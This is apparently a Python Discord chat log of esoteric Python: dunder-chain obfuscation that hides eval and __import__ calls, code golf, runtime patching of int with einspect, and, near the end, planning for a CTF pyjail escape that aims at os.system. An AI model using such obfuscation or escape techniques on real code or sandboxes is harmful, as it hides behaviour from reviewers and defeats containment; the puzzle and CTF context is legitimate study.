(_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__()))),__builtins__.__import__(_____(66).__add__(_____(97)).__add__(_____(116))))```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | (_____:=lambda __: eval(__builtins__.__dir__().__getitem__(14))(__),eval(__builtins__.__dir__().__getitem__(__builtins__.__dir__().__len__().__floordiv__(__builtins__.__dir__().__getitem__(__import__.__dir__().__len__().__sub__(__name__.__doc__.__len__().__floordiv__(__builtins__.__doc__.__len__()))).__len__()).__sub__(__name__.__dir__().__len__().__sub__(__import__.__dir__().__len__()).__sub__(__package__.__dir__().__len__()).__sub__(__package__.__dir__().__len__())).__add__(4)))(chr(__import__.__dir__().__len__().__add__(__builtins__.__dir__().__len__()))),__builtins__.__import__(_____(66).__add__(_____(97)).__add__(_____(116))))
004 |
... (truncated - too long)
Full output: https://paste.pythondiscord.com/rasiguhope.txt?noredirect
@formal latch beat that lmfao
meh im too lazy
holy fuck til
!e
def convert(num):
ONE = "__name__.__class__.__bases__.__len__()"
if num == 0:
return f"{ONE}.__rshift__({ONE})"
dunder = "-" if num < 0 else "" + ONE
num = bin(abs(num))[3:]
shift_count = 0
for i in num:
shift_count += 1
if i == "1":
dunder += f".__lshift__({convert(shift_count)}).__add__({ONE})"
shift_count = 0
if shift_count != 0:
dunder += f".__lshift__({convert(shift_count)})"
return dunder
for i in range(53, 58):
print(convert(i))```
@formal latch :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | __name__.__class__.__bases__.__len__().__lshift__(__name__.__class__.__bases__.__len__()).__add__(__name__.__class__.__bases__.__len__()).__lshift__(__name__.__class__.__bases__.__len__().__lshift__(__name__.__class__.__bases__.__len__())).__add__(__name__.__class__.__bases__.__len__()).__lshift__(__name__.__class__.__bases__.__len__().__lshift__(__name__.__class__.__bases__.__len__())).__add__(__name__.__class__.__bases__.__len__())
002 | __name__.__class__.__bases__.__len__().__lshift__(__name__.__class__.__bases__.__len__()).__add__(__name__.__class__.__bases__.__len__()).__lshift__(__name__.__class__.__bases__.__len__().__lshift__(__name__.__class__.__bases__.__len__())).__add__(__name__.__class__.__bases__.__len__()).__lshift__(__name__.__class__.__bases__.__len__()).__add__(__name__.__class__.__bases__.__len__()).__lshift__(__name__.__class__.__bases__.__len__())
003 | __name__.__class__.__bases__.__len__().__lshift__(__name__.__class__.__bases__.__len__()).__add__(__name__
... (truncated - too long)
Full output: https://paste.pythondiscord.com/ikivohabon.txt?noredirect
meh not as good
wym
wiat what
no nitro moment
!e
print((_______________:=__name__.__len__().__class__.__doc__.__getitem__((__:=__name__.__class__().__len__())).__add__(__name__.__len__().__class__.__doc__.__getitem__((___:=__name__.__eq__(__name__).__pos__()))).__add__(__name__.__class__.__class__.__doc__.__getitem__(__)).__add__(__name__.__len__().__class__.__doc__.__getitem__((____:=(_:=__name__.__getitem__(__)).__add__(_).__add__(_).__len__()))).__add__(__name__.__len__().__class__.__doc__.__getitem__((_______:=(______:=(_____:=(_:=__name__.__getitem__(__)).__add__(_).__len__()).__mul__(_____)).__lshift__(____)))).__add__((________:=__builtins__.__dict__.__getitem__(__builtins__.__dir__().__getitem__((__________:=____.__mul__((_________:=____.__mul__(____).__add__(______))))))).__doc__.__getitem__((______________:=(___________:=____.__mul__(_____)).__mul__((_____________:=_____.__mul__((____________:=_____.__mul__(_____).__invert__().__neg__()))))))).__add__(__annotations__.__class__.__doc__.__getitem__(____________))))```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
int(14)
pog
cringe using walrus operators
!e
(__________________:=(__:=__builtins__.__dict__.__getitem__(__builtins__.__dir__().__getitem__((________:=(____:=(__:=__name__.__getitem__((___:=__name__.__class__().__len__()))).__add__(__).__add__(__).__len__()).__mul__((_______:=____.__mul__(____).__add__((______:=(_____:=(__:=__name__.__getitem__(___)).__add__(__).__len__()).__mul__(_____))))))))).__doc__.__getitem__((_________:=__name__.__eq__(__name__).__pos__())).__add__((__________:=__name__.__dir__().__class__).__doc__.__getitem__((____________:=(___________:=____.__mul__(_____)).__lshift__(____)))).__add__((_____________:=(_____________:=__name__.__ne__(__name__).__invert__()).__neg__().__truediv__(_____________.__add__(_____________).__neg__()).__rpow__(_____________).__class__).__doc__.__getitem__(____)).__add__(__________.__name__.__getitem__(___)).__add__(__name__.__len__().__class__.__doc__.__getitem__(____)).__add__(__name__.__len__().__class__.__doc__.__getitem__(___)).__add__(__name__.__len__().__class__.__doc__.__getitem__(_________)).__add__(__name__.__class__.__class__.__doc__.__getitem__(___)).__add__(__name__.__len__().__class__.__doc__.__getitem__(____)).__add__(__name__.__len__().__class__.__doc__.__getitem__((______________:=______.__lshift__(____)))).__add__(__.__doc__.__getitem__((_________________:=___________.__mul__((________________:=_____.__mul__((_______________:=_____.__mul__(_____).__invert__().__neg__()))))))).__add__(__annotations__.__class__.__doc__.__getitem__(_______________)).__add__(__annotations__.__class__.__doc__.__getitem__(_______________)))```
@unique heath :warning: Your 3.11 eval job has completed with return code 0.
[No output]
oop
!e
print((__________________:=(__:=__builtins__.__dict__.__getitem__(__builtins__.__dir__().__getitem__((________:=(____:=(__:=__name__.__getitem__((___:=__name__.__class__().__len__()))).__add__(__).__add__(__).__len__()).__mul__((_______:=____.__mul__(____).__add__((______:=(_____:=(__:=__name__.__getitem__(___)).__add__(__).__len__()).__mul__(_____))))))))).__doc__.__getitem__((_________:=__name__.__eq__(__name__).__pos__())).__add__((__________:=__name__.__dir__().__class__).__doc__.__getitem__((____________:=(___________:=____.__mul__(_____)).__lshift__(____)))).__add__((_____________:=(_____________:=__name__.__ne__(__name__).__invert__()).__neg__().__truediv__(_____________.__add__(_____________).__neg__()).__rpow__(_____________).__class__).__doc__.__getitem__(____)).__add__(__________.__name__.__getitem__(___)).__add__(__name__.__len__().__class__.__doc__.__getitem__(____)).__add__(__name__.__len__().__class__.__doc__.__getitem__(___)).__add__(__name__.__len__().__class__.__doc__.__getitem__(_________)).__add__(__name__.__class__.__class__.__doc__.__getitem__(___)).__add__(__name__.__len__().__class__.__doc__.__getitem__(____)).__add__(__name__.__len__().__class__.__doc__.__getitem__((______________:=______.__lshift__(____)))).__add__(__.__doc__.__getitem__((_________________:=___________.__mul__((________________:=_____.__mul__((_______________:=_____.__mul__(_____).__invert__().__neg__()))))))).__add__(__annotations__.__class__.__doc__.__getitem__(_______________)).__add__(__annotations__.__class__.__doc__.__getitem__(_______________))))```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
eval(int(14))
ah um
!e
(______________________:=__name__.__class__.__doc__.__getitem__((_________:=(____:=(_:=__name__.__getitem__((___:=__name__.__class__().__len__()))).__add__(_).__add__(_).__len__()).__mul__((______:=(_____:=(_:=__name__.__getitem__(___)).__add__(_).__len__()).__mul__(_____).__add__(____))).__add__((________:=_____.__mul__((_______:=_____.__mul__(_____).__invert__().__neg__())))))).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__len__().__class__.__doc__.__getitem__(___)).__add__((____________:=(____________:=__name__.__ne__(__name__).__invert__()).__neg__().__truediv__(____________.__add__(____________).__neg__()).__rpow__(____________).__class__).__name__.__getitem__(_____)).__add__(__name__.__class__.__class__.__doc__.__getitem__(_____)).__add__((______________:=__name__.__class__.__base__).__name__.__getitem__(___)).__add__(____________.__doc__.__getitem__((________________:=__name__.__eq__(__name__).__pos__()))).__add__(__name__.__class__.__class__.__doc__.__getitem__(___)).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__len__().__class__.__doc__.__getitem__(____)).__add__(__name__.__class__.__doc__.__getitem__((____________________:=_____.__mul__((___________________:=_____.__mul__(_____))).__add__(____)))).__add__((_____________________:=__name__.__dir__().__class__).__doc__.__getitem__(___)).__add__(____________.__doc__.__getitem__(____)).__add__(__name__.__class__.__class__.__doc__.__getitem__(___)).__add__(__name__.__class__.__doc__.__getitem__(____________________)).__add__(__annotations__.__class__.__doc__.__getitem__(_______)))```
@unique heath :warning: Your 3.11 eval job has completed with return code 0.
[No output]
!e
eval((______________________:=__name__.__class__.__doc__.__getitem__((_________:=(____:=(_:=__name__.__getitem__((___:=__name__.__class__().__len__()))).__add__(_).__add__(_).__len__()).__mul__((______:=(_____:=(_:=__name__.__getitem__(___)).__add__(_).__len__()).__mul__(_____).__add__(____))).__add__((________:=_____.__mul__((_______:=_____.__mul__(_____).__invert__().__neg__())))))).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__len__().__class__.__doc__.__getitem__(___)).__add__((____________:=(____________:=__name__.__ne__(__name__).__invert__()).__neg__().__truediv__(____________.__add__(____________).__neg__()).__rpow__(____________).__class__).__name__.__getitem__(_____)).__add__(__name__.__class__.__class__.__doc__.__getitem__(_____)).__add__((______________:=__name__.__class__.__base__).__name__.__getitem__(___)).__add__(____________.__doc__.__getitem__((________________:=__name__.__eq__(__name__).__pos__()))).__add__(__name__.__class__.__class__.__doc__.__getitem__(___)).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__len__().__class__.__doc__.__getitem__(____)).__add__(__name__.__class__.__doc__.__getitem__((____________________:=_____.__mul__((___________________:=_____.__mul__(_____))).__add__(____)))).__add__((_____________________:=__name__.__dir__().__class__).__doc__.__getitem__(___)).__add__(____________.__doc__.__getitem__(____)).__add__(__name__.__class__.__class__.__doc__.__getitem__(___)).__add__(__name__.__class__.__doc__.__getitem__(____________________)).__add__(__annotations__.__class__.__doc__.__getitem__(_______))))```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
__import__('Bat')
ehehehheheheheh
(totally not using obfuscator)
!e
eval((______________________:=__name__.__class__.__doc__.__getitem__((_________:=(____:=(_:=__name__.__getitem__((___:=__name__.__class__().__len__()))).__add__(_).__add__(_).__len__()).__mul__((______:=(_____:=(_:=__name__.__getitem__(___)).__add__(_).__len__()).__mul__(_____).__add__(____))).__add__((________:=_____.__mul__((_______:=_____.__mul__(_____).__invert__().__neg__())))))).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__len__().__class__.__doc__.__getitem__(___)).__add__((____________:=(____________:=__name__.__ne__(__name__).__invert__()).__neg__().__truediv__(____________.__add__(____________).__neg__()).__rpow__(____________).__class__).__name__.__getitem__(_____)).__add__(__name__.__class__.__class__.__doc__.__getitem__(_____)).__add__((______________:=__name__.__class__.__base__).__name__.__getitem__(___)).__add__(____________.__doc__.__getitem__((________________:=__name__.__eq__(__name__).__pos__()))).__add__(__name__.__class__.__class__.__doc__.__getitem__(___)).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__len__().__class__.__doc__.__getitem__(____)).__add__(__name__.__class__.__doc__.__getitem__((____________________:=_____.__mul__((___________________:=_____.__mul__(_____))).__add__(____)))).__add__((_____________________:=__name__.__dir__().__class__).__doc__.__getitem__(___)).__add__(____________.__doc__.__getitem__(____)).__add__(__name__.__class__.__class__.__doc__.__getitem__(___)).__add__(__name__.__class__.__doc__.__getitem__(____________________)).__add__(__annotations__.__class__.__doc__.__getitem__(_______))))```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | eval((______________________:=__name__.__class__.__doc__.__getitem__((_________:=(____:=(_:=__name__.__getitem__((___:=__name__.__class__().__len__()))).__add__(_).__add__(_).__len__()).__mul__((______:=(_____:=(_:=__name__.__getitem__(___)).__add__(_).__len__()).__mul__(_____).__add__(____))).__add__((________:=_____.__mul__((_______:=_____.__mul__(_____).__invert__().__neg__())))))).__add__(__name__.__class__.__doc__.__getitem__(_________)).__add__(__name__.__len__().__class__.__doc__.__getitem__(___)).__add__((____________:=(____________:=__name__.__ne__(__name__).__invert__()).__neg__().__truediv__(____________.__add__(____________).__neg__()).__rpow__(____________).__class__).__name__.__getitem__(_____)).__add__(__name__.__class__.__class__.__doc__.__getitem__(_____)).__add__((______________:=__name__.__class__.__base__).__name__.__getitem__(___)).__add__(____________.__doc__.__get
... (truncated - too long)
Full output: https://paste.pythondiscord.com/eqefehibol.txt?noredirect
cringe
🤷♂️
goes to show I need to actually test default cases 😔 but fixed now
ionite34/einspect#85
!e
code
i need to fix more stuff with this
n = int(input())
count = 1
for i in range(1,n+1):
count *= i
print(count)
print(n*-~n//2)
Is there a shorter way of doing this??
It's basically just factorial
and the bottom one is basically just a formula for if range of 5
5 + 4 + 3 + 2 + 1
import math
n = int(input())
print(math.factorial(n))
print(n*-~n//2)
from math import*
n=int(input())
print(factorial(n),"\n",n*-~n//2)
!e ```py
@import('fishhook').hook(str)
def sub(a,b):return int(a)-int(b)
console=type('',(),{'log':staticmethod(print)})()
ignore the above code
import random
try:
x = random.randint(1, 2)
if x == 1:
console.log('5'+'5'-'6');
else:
print('5'+'5'-'6');
except NameError:
print("You're not in JavaScript for logging.")
except TypeError:
print("You're not in JavaScript for weird math.")
else:
print("You're in simulated JavaScript.")
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 49
002 | You're in simulated JavaScript.
esopy
TIL about static methods
TIL about static methods
TIL about static methods
TIL about static methods
@dry mirage i solved the allocation thing I was working on yesterday, turns out PyUnicode has two different structs with 1Byte_Kind and they are different sizes.
!e py print('a'.__sizeof__() - 1) print('\xff'.__sizeof__() - 1)
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 49
002 | 73
!e
from einspect import view
print(view('a'))
print(view('\xff'))
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | StrView(<PyASCIIObject at 0x7f44c7c615c0>)
002 | StrView(<PyCompactUnicodeObject at 0x7f44c7cce4d8>)
Yeah theres PyASCIIObject, PyCompactUnicodeObject, and PyUnicodeObject
all 3 are different sized structs, independent from the Unicode kind
yea it makes it really tricky when you need a process you dont control to have a specific struct and unicode kind
what was the allocation bug actually 
the allocation was actually the post-exploit process
basically managed to get an object that thought a given address was a valid array of objects but it was actually free memory
so i could alloc data there
I am building a CTF challenge from the bug, ill send you the link when its done
hm... did it involve the freelist thing?
which freelist thing
#internals-and-peps message this stuff?
because kinda?
dont want to spoil the challenge tho
oh yeah PyUnicodeObject is the weird one
I think it's only for subclasses? Haven't been able to make a str that uses it
!e
from einspect import view
class UserStr(str):...
s = UserStr("🤔")
print(v := view(s))
print(v.mem_size)
print(view("🤔").mem_size)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | StrView[UserStr](<PyUnicodeObject at 0x7fbe961fa550>)
002 | 96
003 | 88
I don't know why though, can't subclasses just use PyASCIIObject or PyCompactUnicodeObject as normal?
there isnt a comment somewhere explaining it?
i thought only Py_UCS2 and Py_UCS4 had the 72 offset
@dry mirage could probably answer that better, I havent looked at the internals of unicode specifically
fruits = ["apple", "banana", "cherry", "kiwi", "mango"]
newlist = [x for x in fruits if "a" in x]
abvert your eyes

without knowing the lore: doesn't that maybe depend on the contents? i.e. does it persist if you restart your computer?
No its memory corruption at runtime, so it only persists the life of the program (which is not long due to the corruption, it segfaults pretty fast)
a,b,c = map(int,filter(lambda x:x.isdigit(),input().split()))
if a+b==c:print('+')
elif a/b==c:print("/")
elif a*b==c:print("*")
elif a-b==c:print("-")
Any way to shorten further?
input: "2 ? 3 = 5"
2 ? 2 = 4
0 ? 0 = 0
a,b,c=map(int,filter(str.isdigit,input().split()))
for x in'+/*-':exec("if a%sb==c:print(%s)"%(x,x))
File "main.py", line 2, in <module>
for x in'+/*-':exec("if a%sb==c:print(%s)"%(x,x))
File "<string>", line 1
if a+b==c:print(+)
^
SyntaxError: invalid syntax
oh right
a,b,c=filter(str.isdigit,input().split())
for x in'+/*-':eval(a+x+b+'=='+c)and print(x)
@dusty zodiac does this work?
that works pretty good
nice
what if you give it 2 2 4 though
it will print both + and *
actually you can just replace the space in front of print with - so it throws an error and exits (assuming we don't care about stderr)
Mathematically speaking that would be accurate considering 2 * 2 and 2 + 2 would both output 4
but in the original one it only prints +
Now that I think about it 2 ? 2 = 4 wasn't in any of the test cases while I was answering in COC
considering it worked.
wait you can save 1 more char
a,b,c=filter(str.isdigit,input().split())
for x in'+/*-':eval(a+x+b+'!='+c)or print(x)
78
r=str.replace
s=r(input(),'=','!=')
for x in'+/*-':eval(r(s,'?',x))or print(x)
input_str = input()
replaced_str = input_str.replace('=', '!=')
for operator in ['+', '/', '*', '-']:
result = eval(replaced_str.replace('?', operator))
if not result:
print(operator)
77 actually
r=str.replace
s=r(input(),'=','-')
for x in'+/*-':eval(r(s,'?',x))or print(x)
75
r=str.replace
s=r(input(),*'=-')
for x in'+/*-':eval(r(s,'?',x))or print(x)
nice
a,_,b,_,c=input().split()
for x in'+/*-':eval(a+x+b+'-'+c)or print(x)
``` 69 (nice)
i can't shorten this further
leave it at 69
TIL about static methods
TIL about static methods
N I C E
nvm
can someone explain to me how these sort of obfuscators work? i am playing around a bit wiht __name__.__class__ (which is str() i think)
there's a defined lookup table i think
where can i find this
i understand nothing from your code 😦
mostly using lengths of dunder dirs/docstrings, getitems to get from __builtins__.__dir__() and evaluating that to get functions
btw for False you can do something like this
__name__.__len__().__class__().__xor__(__name__.__len__().__class__()).__ne__(__name__.__len__().__class__().__xor__(__name__.__len__().__class__()))
too long
i don't want it to take too much space
(_:=__name__.__len__().__class__()).__xor__(_).__ne__(_.__xor__(_))
it works pretty well though
!e a=2;a*='a' obfuscated (added print()s to demonstrate success) ```py
(a:=(ow0:=(owD:=(owo:=name.getitem((owO:=name.class().len()))).add(owo).len())))
print(a)
(a:=(ow0:=ow0.imul((Dw0:=OwV.doc.getitem(owv)))if(owT:=builtins.getattribute(builtins.dir().getitem((owu:=(owU:=owD.mul(owD)).mul((owV:=(owv:=(owu:=name.getitem(owO)).add(owu).add(owu).len()).mul(owD)))))))(ow0,owQ:=name.class.doc.getitem((Owu:=owv.mul((OwO:=owD.mul(owD).add(owv))).add((Ow0:=owD.mul((OwD:=owD.mul(owD).invert().neg())))))).add(name.class.doc.getitem(Owu)).add(name.len().class.doc.getitem(owO)).add((OwV:=(OwV:=name.ne(name).invert()).neg().truediv(OwV.add(OwV).neg()).rpow(OwV).class).name.getitem(owD)).add(name.len().class.module.getitem((OwT:=name.eq(name).pos()))).add((OwQ:=name.dir().class).name.getitem(owO)).add(name.class.doc.getitem(Owu)).add(name.class.doc.getitem(Owu)))else Dwu if(Dwu:=ow0.mul((Dw0:=OwV.doc.getitem(owv))))!=NotImplemented else((Dw0:=OwV.doc.getitem(owv))).rmul(ow0)))
print(a)
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 2
002 | aa
that's the latest version
the longer it is, the slower it is
how do you apply decorators to lambda?
decorator(lambda ...)
I can't get this much smaller (I think it's the smallest it gets):py import matplotlib.pyplot as p,cv2 as c;z=c.COLOR_BGR2RGB fc,fl=c.cvtColor(c.imread('DATA/sammy_face.jpg'),z),c.cvtColor(c.imread('DATA/sammy.jpg'),z) ms=['CCOEFF','CCOEFF_NORMED','CCORR','CCORR_NORMED','SQDIFF','SQDIFF_NORMED'];h,w,cs=fc.shape for i in ms: f,m=fl.copy(),eval('c.TM_'+i);r=c.matchTemplate(f,fc,m);mv,mxv,l,x=c.minMaxLoc(r); t=l if m in [c.TM_SQDIFF,c.TM_SQDIFF_NORMED] else x br=(t[0]+w,t[1]+h);c.rectangle(f,t,br,255,10);p.subplot(121);p.imshow(r); p.title('Result of Template Matching');p.subplot(122);p.imshow(f); p.title('Detected Point');p.suptitle(m);p.show();print('\n\n')
I mean you have multi letter variable names
and you could assign functions to some character
so i have a question
you make an obfuscator by assigned every symbol in the code to something (like True to something) with regex probably
then how do you handle variable names/functions? do u need ast? or globals is enough
well, you can't reassign True
cough cough ctypes cough cough
An interesting obfuscation strategy would be code that modifies its own code object as it runs
Like swapping out constants and names
done this before, it's trippy
ast._Unparser
also the only actual use of re in the obfuscator is name checking
everything else is just for getting characters in a string
👍
i meant using re.sub, sorry
.bm
The bookmark text command has been replaced with a context menu command!
To bookmark a message simply right-click (press and hold on mobile) on a message, open the 'Apps' menu, and click 'Bookmark'.
!e
from einspect import view, impl
@impl(int)
def __add__(self, other):
return 2
print(1+1)
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
2
huh
what
@dry mirage when I try to do that in python console it just says "getting frame variables from python runtime" and freezes
in pycharm
it's working fine in command prompt python
huh
probably a pycharm thing
pycharm console adds variable introspection things I believe using their python debugger, so your int.__add__ override is breaking something in that

also any way to add attributes to int?
should be the same way, just name your function something different
oh you mean attributes?
yeah
like I want 1 .foo
I could do a property I think but I was wondering if there was a way to do it directly
!e
from einspect import view
view(int)["foo"] = "static thing"
print(1 .foo)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
static thing
oh neat
oh that's how
i was doing view(int).foo = "something"
yeah that won't do anything 👀
TypeView is essentially a dict you can set/get/del on
!e
from einspect import view
del view(int)["real"]
print(2 .real)
@dry mirage :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 5, in <module>
003 | print(2 .real)
004 | ^^^^^^^
005 | AttributeError: 'int' object has no attribute 'real'
get real
!epy from einspect import view view(int)['real']='its fake' print(2 .real)
@arctic skiff :white_check_mark: Your 3.11 eval job has completed with return code 0.
its fake
code
Hey @limber current!
You either uploaded a .txt file or entered a message that was too long. Please use our paste bin instead.
!e
from tkinter import Tk, Label
from time import strftime
root = Tk()
root.title("Digital Clock")
root.resizable(False, False)
def time():
string = strftime("%T %p | %d/%m/%y ")
label.config(text=string)
label.after(1000, time)
label = Label(root, font=("ds-digital", 45), background="black", foreground="cyan")
label.pack(anchor="center")
time()
root.mainloop()
!e
from tkinter import *
from time import strftime
root = Tk()
root.title("Digital Clock")
root.resizable(False, False)
def time():
string = strftime("%T %p | %d/%m/%y ")
label.config(text=string)
label.after(1000, time)
label = Label(root, font=("ds-digital", 45), background="black", foreground="cyan")
label.pack(anchor="center")
time()
root.mainloop()
@limber current :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | from tkinter import *
004 | File "/usr/local/lib/python3.11/tkinter/__init__.py", line 38, in <module>
005 | import _tkinter # If this fails your Python may not be configured for Tk
006 | ^^^^^^^^^^^^^^^
007 | ImportError: libtk8.6.so: cannot open shared object file: No such file or directory
not really
!e
print("Hello world")
@limber current :white_check_mark: Your 3.11 eval job has completed with return code 0.
Hello world
!e
import tkinter
from tkinter import Tk, Label
from time import strftime
root = Tk()
root.title("Digital Clock")
root.resizable(False, False)
def time():
string = strftime("%T %p | %d/%m/%y ")
label.config(text=string)
label.after(1000, time)
label = Label(root, font=("ds-digital", 45), background="black", foreground="cyan")
label.pack(anchor="center")
time()
root.mainloop()
@limber current :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "/home/main.py", line 1, in <module>
003 | import tkinter
004 | File "/usr/local/lib/python3.11/tkinter/__init__.py", line 38, in <module>
005 | import _tkinter # If this fails your Python may not be configured for Tk
006 | ^^^^^^^^^^^^^^^
007 | ImportError: libtk8.6.so: cannot open shared object file: No such file or directory
!e
code
!eval [python_version] <code, ...>
Can also use: e
Run Python code and get the results.
This command supports multiple lines of code, including formatted code blocks. Code can be re-evaluated by editing the original message within 10 seconds and clicking the reaction that subsequently appears.
The starting working directory /home, is a writeable temporary file system. Files created, excluding names with leading underscores, will be uploaded in the response.
If multiple codeblocks are in a message, all of them will be joined and evaluated, ignoring the text outside them.
By default, your code is run on Python 3.11. A python_version arg of 3.10 can also be specified.
We've done our best to make this sandboxed, but do let us know if you manage to find an issue with it!
!e
from tkinter import *
root = Tk()
root.title("Digital Clock")
root.resizable(False, False)
root.mainloop()
ohh
whats esoteric in this?
I guess this means it's time to update bytepatches for 3.11 :)
well, the time to do that was sort of 6 months ago in 3.11 beta >_>
you might as well plan to target 3.12 now, beta for that will come soon
hello I made a script with python know a game a kind of mini mario to start I don't have them on git hub I grade it for me but I need an opinion know a .exe
Ask in #python-discussion or #1035199133436354600. This is for esoteric python
!pypi bytepatches
No documentation 
you're not gonna like 3.12
well i mean there's only a few changes to bytecode
only thing i can remember is that 3.12 removed PRECALL along with these
why did the JIFOP and JITOP get removed 
replaced with COPY 1; PJI*; POP_TOP
i suggested just now to just remove PJI* as well and just use POP_TOP; JUMP_IF_* for PJI* and JUMP_IF_*; POP_TOP for JI*OP
faster-cpython/ideas#567
wth
i just realized why this won't work lol
I'm not getting why they wrote that "a < b < c can be implemented as (a < b) or (b < c)". Hasn't it always been implemented as a < b < c is the same as (a < b) and (b < c)?
Enlighten me
POP_TOP before JUMP_IF_* would discard the value before it's checked in the first place
yes idk what they were thinking
!e
from einspect import view, impl
@impl(int)
def __add__(self, other):
return 2
print(23+1)
👹
@calm loom :white_check_mark: Your 3.11 eval job has completed with return code 0.
24
😕
Interesting instruction
those are evaluated by the compiler beforehand
!e
from einspect import impl
@impl(int)
def __add__(self, other):
return 2
print(int('23')+1)
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
2
Some guy noticed strange behaviour: same code takes different amount of time for sorted and shuffled list.
It is likely because of branch misprediction, but im not sure.
Do you have any ideas why this is happening?
Same idea. Here difference is a lot bigger.
Ye, I would expect this to be branch prediction. It is measurable in other situations as well.
how branch predictor can predict that? python VM is executing the same asm instructions before every opcode
There is still an asm-level jump there in the jump if false, which could be doing it
i dont think you are right
jump are done by using JUMPBY(oparg);, which is defined as (next_instr += (oparg)), so there is no asm-level jump
The Py_IsFalse check will be an asm level branch which can get predicted afaik.
hmm
from random import choice as chwoices
UwU=print
def gamey():
owo = eksdi()
uwo = chwoices(("rock","paper","scissors"))
UwU(f"R-robot pwayed: {uwo.title()}\nPwayer pwayed!: {owo.title()}\n")
uwu(owo,uwo)
#checks *huggles tightly* fow win condition
def uwu(player,robot):
uwu="You awe the x3 winnyew!"
owo="You just lost.. QwQ"
if player==robot:
UwU("It's a tie?!?1")
elif player in ["rock","r"]:
if robot =="paper":UwU(owo)
else:UwU(uwu)
elif player in ["paper","p"]:
if robot =="scissors":UwU(owo)
else:UwU(uwu)
elif player in ["scissors","s"]:
if robot == "rock":UwU(owo)
else:UwU(uwu)
#checks *huggles tightly* if input is cowwect
def eksdi():
owo=input("What's your move?").lower()
while owo not in ["rock","r","paper","p","scissors","s"]:
UwU("Pwease input onwy wock papew ow (・`ω´・) scissows.")
owo=eksdi()
return owo
gamey()
Can someone help me Golf this ab-owo-mination.
Have you tried golfing it yourself?
i found this in a friend school project
(exec(f"import {i} as {j}") for i, j in zip(l1, l2))```
is this a thing people really do ?
this is a terrible way to do it, but dynamic imports are somewhat common, yes
seems like a bad idea
does it work? no i don't think so
i haven't tested it
look like it should
it is possible to make it work for global imports but not so much for local imports
!e ```py
from sys import _getframe
def import_list(l1, l2):
global_ns = _getframe(1).f_globals
i1 = iter(l1)
for i, j in zip(i1, l2):
exec(f"import {i} as {j}", global_ns, global_ns)
for i in i1:
exec(f"import {i}", global_ns, global_ns)
import_list(["numpy", "itertools"], ["np", "it"])
print(np, it)
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
<module 'numpy' from '/snekbox/user_base/lib/python3.11/site-packages/numpy/__init__.py'> <module 'itertools' (built-in)>
should i send your code to my friend or should i just tell him to stop?
send the code
A much better approach would be to just call importlib.import_module.
so a weirdly constrained task, you only have access to setattr and __import__, . is banned, you can provide a string to provide to eval, what can you do?
(ideally, can I get access to the contents of some module, os.system would be a useful thing to gain access to)
what do you mean exactly with . is banned?
if the string you're trying to pass to eval contains a . it's rejected
my approach would probably be to make a module in which i add all the methods i need as functions
how would that work? 
you can use breakpoint() to get a regular shell
assuming this is a remote server you are connected to
breakpoint is not available
you only have setattr and __import__? does the rest of the language features work?
also is there a link to this challenge? i want to give it a shot if possible
basically your one point of interaction is passing a string code in here
print(eval(code, { "__builtins__": {"setattr": setattr, "__import__": __import__}}, {}))
and it has a "." check before
it's part of https://ctf.cursedc.tf, I'm just trying to figure how to even start approaching it
(also it's called cursed ctf for a reason)
it's task pwn/pyjail
you can get the file that's being run if you want to inspect it
but I think I covered the relevant parts
ill look at it once i get registered
What about "\x2e"?
should be fine
im looking at pwn/python4 rn, what in the world
oh, that one is cute
I can give a not too huge hint ||the task description isn't really truthful||
|| i have a hunch that the patch was applied to some super old version of python ||
||you're not wrong||
dont tell me its like || python v1 ||
oh god its like ||v0||
|| https://www.tuhs.org/Usenet/alt.sources/1991-February/001749.html || im looking at this rn
i didn't know there was an earlier version other than 0.9.2
do check the releases page I linked
nvm actually it's 0.9.1
ok, while chilaxan is busy maybe someone has ideas for the other task 😛
basically the environment is
code = input()
if '.' in code:
continue
print(eval(code, { "__builtins__": {"setattr": setattr, "__import__": __import__}}, {}))
pretty sure this still allow a .
does it break if you pass in an empty string
break in what sense?
eval on an empty string is fine
there is also a try catch around the print(eval which prints the error
though idk if that's useful in any way
afaik you can't raise anything since that's a statement, not an expression
no ```pycon
while True:
... code = input()
... if '.' in code:
... continue
